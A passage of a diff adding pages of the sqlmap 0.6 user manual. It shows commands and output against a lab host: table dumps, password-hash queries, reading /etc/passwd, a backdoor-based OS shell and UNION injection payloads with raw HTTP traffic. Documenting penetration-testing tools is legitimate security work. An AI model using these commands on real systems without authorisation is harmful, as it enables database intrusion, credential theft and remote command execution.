+| 2  | fluffy                                     | bunny             |
+| 3  | wu                                         | ming              |
+| 4  | sqlmap/0.6 (http://sqlmap.sourceforge.net) | user agent header |
+| 5  |                                            | nameisnull        |
++----+--------------------------------------------+-------------------+
+
+[hh:mm:59] [INFO] Table 'public.users' dumped to CSV file '/software/sqlmap/output/
+192.168.1.121/dump/public/users.csv'
+[hh:mm:59] [INFO] Fetched data logged to text files under '/software/sqlmap/output/
+192.168.1.121'
+
+$ cat /software/sqlmap/output/192.168.1.121/dump/public/users.csv 
+"id","name","surname"
+"1","luther","blissett"
+"2","fluffy","bunny"
+"3","wu","ming"
+"4","sqlmap/0.6 (http://sqlmap.sourceforge.net)","user agent header"
+"5","","nameisnull"
+
+
+

+ + +

Dump all databases tables entries

+ +

Options: --dump-all and --exclude-sysdbs

+ +

It is possible to dump all databases tables entries at once.

+

Example on a MySQL 5.0.51 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --dump-all
+
+Database: test
+Table: users
+[5 entries]
++----+--------------------------------------------+-------------------+
+| id | name                                       | surname           |
++----+--------------------------------------------+-------------------+
+| 1  | luther                                     | blissett          |
+| 2  | fluffy                                     | bunny             |
+| 3  | wu                                         | ming              |
+| 4  | sqlmap/0.6 (http://sqlmap.sourceforge.net) | user agent header |
+| 5  | NULL                                       | nameisnull        |
++----+--------------------------------------------+-------------------+
+
+Database: information_schema
+Table: CHARACTER_SETS
+[36 entries]
++--------------------+----------------------+-----------------------------+--------+
+| CHARACTER_SET_NAME | DEFAULT_COLLATE_NAME | DESCRIPTION                 | MAXLEN |
++--------------------+----------------------+-----------------------------+--------+
+| tis620             | tis620_thai_ci       | TIS620 Thai                 | 1      |
+| macroman           | macroman_general_ci  | Mac West European           | 1      |
+| dec8               | dec8_swedish_ci      | DEC West European           | 1      |
+| ujis               | ujis_japanese_ci     | EUC-JP Japanese             | 3      |
+| eucjpms            | eucjpms_japanese_ci  | UJIS for Windows Japanese   | 3      |
+| armscii8           | armscii8_general_ci  | ARMSCII-8 Armenian          | 1      |
+| ucs2               | ucs2_general_ci      | UCS-2 Unicode               | 2      |
+| hp8                | hp8_english_ci       | HP West European            | 1      |
+| latin2             | latin2_general_ci    | ISO 8859-2 Central European | 1      |
+| koi8u              | koi8u_general_ci     | KOI8-U Ukrainian            | 1      |
+| keybcs2            | keybcs2_general_ci   | DOS Kamenicky Czech-Slovak  | 1      |
+| ascii              | ascii_general_ci     | US ASCII                    | 1      |
+| cp866              | cp866_general_ci     | DOS Russian                 | 1      |
+| cp1256             | cp1256_general_ci    | Windows Arabic              | 1      |
+| macce              | macce_general_ci     | Mac Central European        | 1      |
+| sjis               | sjis_japanese_ci     | Shift-JIS Japanese          | 2      |
+| geostd8            | geostd8_general_ci   | GEOSTD8 Georgian            | 1      |
+| cp1257             | cp1257_general_ci    | Windows Baltic              | 1      |
+| cp852              | cp852_general_ci     | DOS Central European        | 1      |
+| euckr              | euckr_korean_ci      | EUC-KR Korean               | 2      |
+| cp1250             | cp1250_general_ci    | Windows Central European    | 1      |
+| cp1251             | cp1251_general_ci    | Windows Cyrillic            | 1      |
+| binary             | binary               | Binary pseudo charset       | 1      |
+| big5               | big5_chinese_ci      | Big5 Traditional Chinese    | 2      |
+| gb2312             | gb2312_chinese_ci    | GB2312 Simplified Chinese   | 2      |
+| hebrew             | hebrew_general_ci    | ISO 8859-8 Hebrew           | 1      |
+| koi8r              | koi8r_general_ci     | KOI8-R Relcom Russian       | 1      |
+| greek              | greek_general_ci     | ISO 8859-7 Greek            | 1      |
+| cp850              | cp850_general_ci     | DOS West European           | 1      |
+| utf8               | utf8_general_ci      | UTF-8 Unicode               | 3      |
+| latin1             | latin1_swedish_ci    | cp1252 West European        | 1      |
+| latin7             | latin7_general_ci    | ISO 8859-13 Baltic          | 1      |
+| cp932              | cp932_japanese_ci    | SJIS for Windows Japanese   | 2      |
+| latin5             | latin5_turkish_ci    | ISO 8859-9 Turkish          | 1      |
+| swe7               | swe7_swedish_ci      | 7bit Swedish                | 1      |
+| gbk                | gbk_chinese_ci       | GBK Simplified Chinese      | 2      |
++--------------------+----------------------+-----------------------------+--------+
+
+[...]
+
+
+

+ +

You can also provide the --exclude-sysdbs option to exclude all +system databases so that sqlmap will only dump entries of users' databases +tables.

+ +

Example on a Microsoft SQL Server 2000 Service Pack 0 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --dump-all \
+  --exclude-sysdbs
+
+Database: master
+Table: spt_datatype_info_ext
+[10 entries]
++----------------+-----------------+-----------+-----------+
+| AUTO_INCREMENT | CREATE_PARAMS   | typename  | user_type |
++----------------+-----------------+-----------+-----------+
+| 0              | length          | char      | 175       |
+| 0              | precision,scale | numeric   | 108       |
+| 0              | max length      | varbinary | 165       |
+| 0              | precision,scale | decimal   | 106       |
+| 1              | precision       | numeric   | 108       |
+| 0              | length          | nchar     | 239       |
+| 0              | max length      | nvarchar  | 231       |
+| 0              | length          | binary    | 173       |
+| 0              | max length      | varchar   | 167       |
+| 1              | precision       | decimal   | 106       |
++----------------+-----------------+-----------+-----------+
+
+[...]
+
+Database: master
+Table: users
+[5 entries]
++----+--------------------------------------------+-------------------+
+| id | name                                       | surname           |
++----+--------------------------------------------+-------------------+
+| 4  | sqlmap/0.6 (http://sqlmap.sourceforge.net) | user agent header |
+| 2  | fluffy                                     | bunny             |
+| 1  | luther                                     | blisset           |
+| 3  | wu                                         | ming              |
+| 5  | NULL                                       | nameisnull        |
++----+--------------------------------------------+-------------------+
+
+[...]
+
+
+

+ +

Note that on Microsoft SQL Server the master database is not +considered a system database because some database administrators use it +as a users' database.

+ + +

Run your own SQL SELECT statement

+ +

Options: --sql-query and --sql-shell

+ +

The SQL query and the SQL shell features makes the user able to run +whatever SELECT statement on the web application's back-end +database management system and retrieve its output.

+ +

Examples on a Microsoft SQL Server 2000 Service Pack 0 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --sql-query \
+  "SELECT 'foo'" -v 1
+
+[...]
+[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
+[hh:mm:14] [INFO] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)), 
+(CHAR(32)))
+[hh:mm:14] [INFO] retrieved: foo
+[hh:mm:14] [INFO] performed 27 queries in 0 seconds
+SELECT 'foo':    'foo'
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --sql-query \
+  "SELECT 'foo', 'bar'" -v 1
+
+[...]
+[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
+[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it into 
+distinct queries to be able to retrieve the output even if we are going blind
+[hh:mm:50] [INFO] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)), 
+(CHAR(32)))
+[hh:mm:50] [INFO] retrieved: foo
+[hh:mm:50] [INFO] performed 27 queries in 0 seconds
+[hh:mm:50] [INFO] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VARCHAR(8000)), 
+(CHAR(32)))
+[hh:mm:50] [INFO] retrieved: bar
+[hh:mm:50] [INFO] performed 27 queries in 0 seconds
+SELECT 'foo', 'bar':    'foo, bar'
+
+
+

+ +

As you can see from this last example, sqlmap splits the query in two +different SELECT statement to be able to retrieve the output even +in blind SQL injection technique. +Otherwise in inband SQL injection technique it only perform a single HTTP +request to get the user's query output:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --sql-query \
+  "SELECT 'foo', 'bar'" -v 1 --union-use
+
+[...]
+[hh:mm:03] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
+[hh:mm:03] [INFO] testing inband sql injection on parameter 'id'
+[hh:mm:03] [INFO] the target url could be affected by an inband sql injection vulnerability
+[hh:mm:03] [INFO] confirming inband sql injection on parameter 'id'
+[hh:mm:03] [INFO] the target url is affected by an exploitable inband sql injection
+vulnerability
+[hh:mm:03] [INFO] query:  UNION ALL SELECT NULL, (CHAR(77)+CHAR(68)+CHAR(75)+CHAR(104)+
+CHAR(70)+CHAR(67))+ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)), (CHAR(32)))
++(CHAR(105)+CHAR(65)+CHAR(119)+CHAR(105)+CHAR(108)+CHAR(108))+ISNULL(CAST((CHAR(98)+CHAR(97)+
+CHAR(114)) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(66)+CHAR(78)+CHAR(104)+CHAR(75)+CHAR(114)+
+CHAR(116)), NULL-- AND 8373=8373
+[hh:mm:03] [INFO] performed 3 queries in 0 seconds
+SELECT 'foo', 'bar' [1]:
+[*] foo, bar
+
+
+

+ +

Examples on an Oracle XE 10.2.0.1 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" --sql-query \
+  "SELECT 'foo' FROM dual"
+
+[hh:mm:04] [INPUT] does the SQL query that you provide might return multiple entries? [Y/n] n
+SELECT 'foo' FROM dual:    'foo'
+
+
+

+ +

As you can see, if your SELECT statement contains a FROM +clause, sqlmap asks the user if such statement can return multiple entries +and in such case the tool knows how to unpack the query correctly to +retrieve its whole output line per line.

+

Example on a PostgreSQL 8.2.7 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --sql-query \
+  "SELECT usename FROM pg_user"
+
+[hh:mm:47] [INPUT] does the SQL query that you provide might return multiple entries? [Y/n] y
+[hh:mm:48] [INPUT] the SQL query that you provide can return up to 3 entries. How many entries 
+do you want to retrieve?
+[a] All (default)
+[#] Specific number
+[q] Quit
+Choice: 2
+SELECT usename FROM pg_user [2]:
+[*] postgres
+[*] testuser
+
+
+

+ +

As you can see, in the last example sqlmap counts the number of entries +for your query and asks how many entries from the top you want to dump. +Otherwise if you specify also the LIMIT, or similar, clause +sqlmap will not ask anything, just unpack the query and return its +output.

+ +

Example on a MySQL 5.0.51 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --sql-query \
+  "SELECT user, host, password FROM mysql.user LIMIT 1, 3" -v 1
+
+[...]
+back-end DBMS:  MySQL >= 5.0.0
+
+[hh:mm:11] [INFO] fetching SQL SELECT query output: 'SELECT user, host, password FROM 
+mysql.user LIMIT 1, 3'
+[hh:mm:12] [INFO] the SQL query provided has more than a field. sqlmap will now unpack 
+it into distinct queries to be able to retrieve the output even if we are going blind
+[hh:mm:12] [INFO] query: SELECT IFNULL(CAST(user AS CHAR(10000)), CHAR(32)) FROM mysql.user 
+ORDER BY user ASC LIMIT 1, 1
+[hh:mm:12] [INFO] retrieved: root
+[hh:mm:12] [INFO] performed 34 queries in 0 seconds
+[hh:mm:12] [INFO] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM mysql.user 
+ORDER BY user ASC LIMIT 1, 1
+[hh:mm:12] [INFO] retrieved: localhost
+[hh:mm:12] [INFO] performed 69 queries in 0 seconds
+[hh:mm:12] [INFO] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) FROM mysql.user 
+ORDER BY user ASC LIMIT 1, 1
+[hh:mm:12] [INFO] retrieved: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
+[hh:mm:13] [INFO] performed 293 queries in 0 seconds
+[hh:mm:13] [INFO] query: SELECT IFNULL(CAST(user AS CHAR(10000)), CHAR(32)) FROM mysql.user 
+ORDER BY user ASC LIMIT 2, 1
+[hh:mm:13] [INFO] retrieved: root
+[hh:mm:13] [INFO] performed 34 queries in 0 seconds
+[hh:mm:13] [INFO] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM mysql.user 
+ORDER BY user ASC LIMIT 2, 1
+[hh:mm:13] [INFO] retrieved: leboyer
+[hh:mm:13] [INFO] performed 55 queries in 0 seconds
+[hh:mm:13] [INFO] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) FROM mysql.user 
+ORDER BY user ASC LIMIT 2, 1
+[hh:mm:13] [INFO] retrieved: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
+[hh:mm:14] [INFO] performed 293 queries in 0 seconds
+[hh:mm:14] [INFO] query: SELECT IFNULL(CAST(user AS CHAR(10000)), CHAR(32)) FROM mysql.user 
+ORDER BY user ASC LIMIT 3, 1
+[hh:mm:14] [INFO] retrieved: root
+[hh:mm:14] [INFO] performed 34 queries in 0 seconds
+[hh:mm:14] [INFO] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM mysql.user 
+ORDER BY user ASC LIMIT 3, 1
+[hh:mm:14] [INFO] retrieved: 127.0.0.1
+[hh:mm:14] [INFO] performed 69 queries in 0 seconds
+[hh:mm:14] [INFO] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) FROM mysql.user 
+ORDER BY user ASC LIMIT 3, 1
+[hh:mm:14] [INFO] retrieved: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
+[hh:mm:15] [INFO] performed 293 queries in 0 seconds
+SELECT user, host, password FROM mysql.user LIMIT 1, 3 [3]:
+[*] root, localhost, *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
+[*] root, leboyer, *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
+[*] root, 127.0.0.1, *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
+
+
+

+ +

The SQL shell option gives you access to run your own SQL SELECT +statement interactively, like a SQL console logged into the back-end +database management system. +This feature has TAB completion and history support.

+ +

Example of history support on a PostgreSQL 8.2.7 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --sql-shell
+
+sql> SELECT 'foo'
+SELECT 'foo':    'foo'
+
+sql> [UP arrow key shows the just run SQL SELECT statement, DOWN arrow key cleans the shell]
+sql> SELECT version()
+SELECT version():    'PostgreSQL 8.2.7 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 
+(Ubuntu 4.2.3-2ubuntu4)'
+
+sql> exit
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --sql-shell
+
+sql> [UP arrow key shows 'exit', then DOWN arrow key clean the shell]
+sql> SELECT usename, passwd FROM pg_shadow ORDER BY usename
+[hh:mm:45] [INPUT] does the SQL query that you provide might return multiple entries? [Y/n] y
+[hh:mm:46] [INPUT] the SQL query that you provide can return up to 3 entries. How many entries 
+do you want to retrieve?
+[a] All (default)
+[#] Specific number
+[q] Quit
+Choice: 
+SELECT usename, passwd FROM pg_shadow ORDER BY usename [3]:
+[*] postgres, md5d7d880f96044b72d0bba108ace96d1e4
+[*] testuser, md599e5ea7a6f7c3269995cba3927fd0093
+[*] testuser2, 
+
+
+

+ +

Example of TAB completion on a MySQL 5.0.51 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --sql-shell
+
+sql> [TAB TAB]
+AND ORD(MID((%s), %d, 1)) > %d
+CAST(%s AS CHAR(10000))
+COUNT(%s)
+CURRENT_USER()
+DATABASE()
+IFNULL(%s, ' ')
+LENGTH(%s)
+LIMIT %d, %d
+MID((%s), %d, %d)
+ORDER BY %s ASC
+SELECT %s FROM %s.%s
+SELECT column_name, column_type FROM information_schema.COLUMNS WHERE table_name='%s' AND 
+table_schema='%s'
+SELECT grantee FROM information_schema.USER_PRIVILEGES
+SELECT grantee, privilege_type FROM information_schema.USER_PRIVILEGES
+SELECT schema_name FROM information_schema.SCHEMATA
+SELECT table_schema, table_name FROM information_schema.TABLES
+SELECT user, password FROM mysql.user
+VERSION()
+sql> SE[TAB]
+sql> SELECT
+
+
+

+ +

As you can see the TAB functionality shows the queries defined for the +back-end database management system in sqlmap XML queries file, but you +can run whatever SELECT statement that you want.

+ +

Example of asterisk expansion on a MySQL 5.0.51 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --sql-shell \
+  -v 1
+
+[...]
+[hh:mm:40] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
+sql> SELECT * FROM test.users
+[hh:mm:48] [INFO] fetching SQL SELECT query output: 'SELECT * FROM test.users'
+[hh:mm:48] [INFO] you did not provide the fields in your query. sqlmap will retrieve the column 
+names itself.
+[hh:mm:48] [INFO] fetching columns for table 'users' on database 'test'
+[hh:mm:48] [INFO] fetching number of columns for table 'users' on database 'test'
+[hh:mm:48] [INFO] query: SELECT IFNULL(CAST(COUNT(column_name) AS CHAR(10000)), CHAR(32)) FROM 
+information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND 
+table_schema=CHAR(116,101,115,116)
+[hh:mm:48] [INFO] retrieved: 3
+[hh:mm:48] [INFO] performed 13 queries in 0 seconds
+[hh:mm:48] [INFO] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM 
+information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND 
+table_schema=CHAR(116,101,115,116) LIMIT 0, 1
+[hh:mm:48] [INFO] retrieved: id
+[hh:mm:48] [INFO] performed 20 queries in 0 seconds
+[hh:mm:48] [INFO] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM 
+information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND 
+table_schema=CHAR(116,101,115,116) LIMIT 1, 1
+[hh:mm:48] [INFO] retrieved: name
+[hh:mm:48] [INFO] performed 34 queries in 0 seconds
+[hh:mm:48] [INFO] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM 
+information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND 
+table_schema=CHAR(116,101,115,116) LIMIT 2, 1
+[hh:mm:48] [INFO] retrieved: surname
+[hh:mm:48] [INFO] performed 55 queries in 0 seconds
+[hh:mm:48] [INFO] the query with column names is: SELECT id, name, surname FROM test.users
+[hh:mm:48] [INPUT] does the SQL query that you provide might return multiple entries? [Y/n] y
+[hh:mm:04] [INFO] query: SELECT IFNULL(CAST(COUNT(id) AS CHAR(10000)), CHAR(32)) FROM test.users
+[hh:mm:04] [INFO] retrieved: 5
+[hh:mm:04] [INFO] performed 13 queries in 0 seconds
+[hh:mm:04] [INPUT] the SQL query that you provide can return up to 5 entries. How many entries 
+do you want to retrieve?
+[a] All (default)
+[#] Specific number
+[q] Quit
+Choice: 3
+[hh:mm:09] [INFO] sqlmap is now going to retrieve the first 3 query output entries
+[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(id AS CHAR(10000)), CHAR(32)) FROM test.users 
+ORDER BY id ASC LIMIT 0, 1
+[hh:mm:09] [INFO] retrieved: 1
+[hh:mm:09] [INFO] performed 13 queries in 0 seconds
+[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(name AS CHAR(10000)), CHAR(32)) FROM test.users 
+ORDER BY id ASC LIMIT 0, 1
+[hh:mm:09] [INFO] retrieved: luther
+[hh:mm:09] [INFO] performed 48 queries in 0 seconds
+[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM test.users 
+ORDER BY id ASC LIMIT 0, 1
+[hh:mm:09] [INFO] retrieved: blissett
+[hh:mm:09] [INFO] performed 62 queries in 0 seconds
+[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(id AS CHAR(10000)), CHAR(32)) FROM test.users 
+ORDER BY id ASC LIMIT 1, 1
+[hh:mm:09] [INFO] retrieved: 2
+[hh:mm:09] [INFO] performed 13 queries in 0 seconds
+[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(name AS CHAR(10000)), CHAR(32)) FROM test.users 
+ORDER BY id ASC LIMIT 1, 1
+[hh:mm:09] [INFO] retrieved: fluffy
+[hh:mm:09] [INFO] performed 48 queries in 0 seconds
+[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM test.users 
+ORDER BY id ASC LIMIT 1, 1
+[hh:mm:09] [INFO] retrieved: bunny
+[hh:mm:09] [INFO] performed 41 queries in 0 seconds
+[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(id AS CHAR(10000)), CHAR(32)) FROM test.users 
+ORDER BY id ASC LIMIT 2, 1
+[hh:mm:09] [INFO] retrieved: 3
+[hh:mm:09] [INFO] performed 13 queries in 0 seconds
+[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(name AS CHAR(10000)), CHAR(32)) FROM test.users 
+ORDER BY id ASC LIMIT 2, 1
+[hh:mm:09] [INFO] retrieved: wu
+[hh:mm:09] [INFO] performed 20 queries in 0 seconds
+[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM test.users 
+ORDER BY id ASC LIMIT 2, 1
+[hh:mm:09] [INFO] retrieved: ming
+[hh:mm:10] [INFO] performed 34 queries in 0 seconds
+SELECT * FROM test.users [3]:
+[*] 1, luther, blissett
+[*] 2, fluffy, bunny
+[*] 3, wu, ming
+
+
+

+ +

As you can see in this last example, if the SELECT statement has +an asterisk instead of the column(s) name, sqlmap first retrieves the +column names of the table then asks if the query can return multiple +entries and goes on.

+ + +

5.5 File system access +

+ +

Read a specific file content

+ +

Option: --read-file

+ +

If the back-end database management system is MySQL and the current user +has access to the LOAD_FILE() function, it is possible to read +the content of a specific file from the file system.

+ +

Example on a MySQL 5.0.51 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" \
+  --read-file /etc/passwd
+
+/etc/passwd:
+---
+root:x:0:0:root:/root:/bin/bash
+daemon:x:1:1:daemon:/usr/sbin:/bin/sh
+bin:x:2:2:bin:/bin:/bin/sh
+sys:x:3:3:sys:/dev:/bin/sh
+sync:x:4:65534:sync:/bin:/bin/sync
+games:x:5:60:games:/usr/games:/bin/sh
+man:x:6:12:man:/var/cache/man:/bin/sh
+lp:x:7:7:lp:/var/spool/lpd:/bin/sh
+mail:x:8:8:mail:/var/mail:/bin/sh
+news:x:9:9:news:/var/spool/news:/bin/sh
+uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
+proxy:x:13:13:proxy:/bin:/bin/sh
+www-data:x:33:33:www-data:/var/www:/bin/false
+backup:x:34:34:backup:/var/backups:/bin/sh
+nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
+mysql:x:104:105:MySQL Server,,,:/var/lib/mysql:/bin/false
+postgres:x:105:107:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
+inquis:x:1000:100:Bernardo Damele A. G.,,,:/home/inquis:/bin/bash
+---
+
+
+

+ + +

5.6 Operating system access +

+ +

Prompt for an interactive operating system shell

+ +

Option: --os-shell

+ +

If the back-end database management system is MySQL, the web application's +programming language is PHP and you, or sqlmap itself, found a writable +directory within the web server document root path, sqlmap can prompt for +an interactive operating system shell on the back-end database management +system.

+ +

Example on a MySQL 5.0.51 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" \
+  --os-shell
+
+[hh:mm:49] [WARNING] unable to retrieve the injectable file absolute system path
+[hh:mm:49] [WARNING] unable to retrieve the remote web server document root
+[hh:mm:49] [INPUT] please provide the web server document root [/var/www]: 
+[hh:mm:53] [INPUT] please provide a list of directories absolute path comma separated that 
+you want sqlmap to try to upload the agent [/var/www/test]: 
+[hh:mm:55] [INPUT] do you want to use the uploaded backdoor as a shell to execute commands 
+right now? [Y/n] y
+$ id
+uid=33(www-data) gid=33(www-data) groups=33(www-data)
+$ exit
+
+
+

+ +

As you might notice, such operating system shell has the same +functionalities of SQL shell.

+ + +

5.7 Miscellaneous +

+ +

Test for UNION SELECT query SQL injection

+ +

Option: --union-test

+ +

It is possible to test if the target URL is affected by an inband +SQL injection vulnerability. +Refer to the Techniques section for details on this SQL injection +technique.

+ +

Example on an Oracle XE 10.2.0.1 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" \
+  --union-test -v 1
+
+[...]
+back-end DBMS:  Oracle
+
+[hh:mm:55] [INFO] testing inband sql injection on parameter 'id'
+[hh:mm:55] [INFO] the target url could be affected by an inband sql injection vulnerability
+valid union:    'http://192.168.1.121:80/sqlmap/oracle/get_int.php?id=1 UNION ALL SELECT 
+NULL, NULL, NULL FROM DUAL-- AND 5601=5601&cat=2'
+
+
+

+ +

Example on a PostgreSQL 8.2.7 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_str.php?id=1&cat=2" \
+  --union-test -v 1
+
+[...]
+back-end DBMS:  PostgreSQL
+
+[hh:mm:05] [INFO] testing inband sql injection on parameter 'id'
+[hh:mm:05] [INFO] the target url could be affected by an inband sql injection vulnerability
+valid union:    'http://192.168.1.121:80/sqlmap/pgsql/get_str.php?id=1' UNION ALL SELECT 
+NULL, NULL, NULL-- AND 'QOAtA'='QOAtA&cat=2'
+
+
+

+ +

As you can see, the target URL parameter id might be also +affected by an inband SQL injection. +In case this vulnerability is exploitable it is strongly recommended to +use it.

+ +

Use the UNION SELECT query SQL injection

+ +

Option: --union-use

+ +

Providing the --union-use parameter, sqlmap will first test if +the target URL is affected by an inband SQL injection +(--union-test) vulnerability then, in case it is vulnerable and +exploitable, it will trigger this vulnerability to retrieve the output of +the SELECT queries.

+ +

Example on a Microsoft SQL Server 2000 Service Pack 0 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" -v 1 \
+  --union-use --banner
+
+[...]
+back-end DBMS:  Microsoft SQL Server 2000
+
+[hh:mm:42] [INFO] fetching banner
+[hh:mm:42] [INFO] testing inband sql injection on parameter 'id'
+[hh:mm:42] [INFO] the target url could be affected by an inband sql injection vulnerability
+[hh:mm:42] [INFO] confirming inband sql injection on parameter 'id'
+[hh:mm:42] [INFO] the target url is affected by an exploitable inband sql injection 
+vulnerability
+[hh:mm:42] [INFO] query:  UNION ALL SELECT NULL, (CHAR(110)+CHAR(83)+CHAR(68)+CHAR(80)+
+CHAR(84)+CHAR(70))+ISNULL(CAST(@@VERSION AS VARCHAR(8000)), (CHAR(32)))+(CHAR(70)+CHAR(82)+
+CHAR(100)+CHAR(106)+CHAR(72)+CHAR(75)), NULL-- AND 5204=5204
+[hh:mm:42] [INFO] performed 3 queries in 0 seconds
+banner:
+---
+Microsoft SQL Server  2000 - 8.00.194 (Intel X86) 
+        Aug  6 2000 00:57:48 
+        Copyright (c) 1988-2000 Microsoft Corporation
+        Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
+---
+
+
+

+ +

As you can see, the vulnerable parameter (id) is affected by both +blind SQL injection and exploitable inband SQL injection vulnerabilities.

+ +

Example on a MySQL 5.0.51 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 5 \
+  --union-use --banner
+
+[...]
+[hh:mm:25] [INFO] the target url is affected by an exploitable inband sql injection 
+vulnerability
+[hh:mm:25] [INFO] query:  UNION ALL SELECT NULL, CONCAT(CHAR(98,108,76,79,106,78),
+IFNULL(CAST(VERSION() AS CHAR(10000)), CHAR(32)),CHAR(122,110,105,89,121,65)), NULL-- 
+AND 6043=6043
+[hh:mm:25] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/get_int.php?id=1%20UNION%20ALL%20SELECT%20NULL%2C%20CONCAT%28CHAR%2898
+%2C108%2C76%2C79%2C106%2C78%29%2CIFNULL%28CAST%28VERSION%28%29%20AS%20CHAR%2810000%29%29
+%2C%20CHAR%2832%29%29%2CCHAR%28122%2C110%2C105%2C89%2C121%2C65%29%29%2C%20NULL--%20AND%2
+06043=6043&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+
+[hh:mm:25] [TRAFFIC IN] HTTP response (OK - 200):
+Date: Mon, 28 Jul 2008 22:34:25 GMT
+Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8 
+OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
+X-Powered-By: PHP/5.2.4-2ubuntu5.2
+Content-Length: 194
+Connection: close
+Content-Type: text/html
+
+<html><body>
+<b>SQL results:</b>
+<table border="1">
+<tr><td>1</td><td>luther</td><td>blissett</td></tr>
+<tr><td></td><td>blLOjN5.0.51a-3ubuntu5.2zniYyA</td><td></td></tr>
+</table>
+</body></html>
+
+[hh:mm:25] [INFO] performed 3 queries in 0 seconds
+banner:    '5.0.51a-3ubuntu5.2'
+
+
+

+ +

As you can see, the MySQL version() function (banner) output is +nested (inband) within the HTTP response page, this makes the inband SQL +injection exploitable.

+ + +

Estimated time of arrival

+ +

Option: --eta

+ +

It is possible to calculate and show the estimated time of arrival to +retrieve each query output in real time while performing the SQL injection +attack.

+ +

Example on an Oracle XE 10.2.0.1 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" -b \
+  --eta -v 1
+
+[...]
+back-end DBMS:  Oracle
+
+[hh:mm:24] [INFO] fetching banner
